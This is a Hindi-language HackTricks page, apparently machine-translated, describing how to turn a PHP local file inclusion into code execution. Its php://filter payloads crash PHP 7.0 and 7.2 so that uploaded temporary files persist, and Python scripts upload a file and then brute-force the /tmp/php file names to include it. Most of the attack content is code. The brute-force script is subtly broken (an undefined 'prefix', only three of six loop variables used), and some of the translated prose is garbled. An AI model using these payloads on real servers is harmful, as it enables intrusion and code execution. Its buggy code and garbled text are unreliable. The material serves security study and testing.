7.4 KiB
LFI2RCE के माध्यम से सेगमेंटेशन फॉल्ट
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की इच्छा है? सदस्यता योजनाएं की जांच करें!
- खोजें The PEASS Family, हमारा विशेष संग्रह NFTs
- प्राप्त करें आधिकारिक PEASS & HackTricks swag
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या फॉलो करें मुझे Twitter 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके hacktricks repo और hacktricks-cloud repo को।
व्रिटअप्स https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (दूसरा भाग) और https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view के अनुसार, निम्नलिखित payloads ने PHP में सेगमेंटेशन फॉल्ट को उत्पन्न किया:
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
आपको यह जानना चाहिए कि अगर आप एक फ़ाइल को साथ भेजते हुए एक POST अनुरोध भेजते हैं, तो PHP उस फ़ाइल की सामग्री के साथ /tmp/php<something>
में एक अस्थायी फ़ाइल बनाएगा। इस फ़ाइल को अनुरोध को प्रोसेस करने के बाद स्वचालित रूप से हटा दिया जाएगा।
अगर आपको एक LFI मिलता है और आप PHP में एक segmentation fault को ट्रिगर करने में सफल होते हैं, तो अस्थायी फ़ाइल को कभी नहीं हटाया जाएगा। इसलिए, आप LFI संरचनासंबंधी कमजोरी के साथ उसे खोज सकते हैं जब तक आप उसे नहीं ढूंढ़ते और ऐसा कोड का निर्वाचन कर सकते हैं।
आप परीक्षण के लिए डॉकर इमेज https://hub.docker.com/r/easyengine/php7.0 का उपयोग कर सकते हैं।
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)
# Search for the file (improve this with threads)
import requests
import string
import threading
charset = string.ascii_letters + string.digits
host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)
def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
bruteforce(charset)
if __name__ == "__main__":
main()
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करना चाहिए? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा विशेष NFT संग्रह
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या Twitter पर फॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके hacktricks repo और hacktricks-cloud repo को।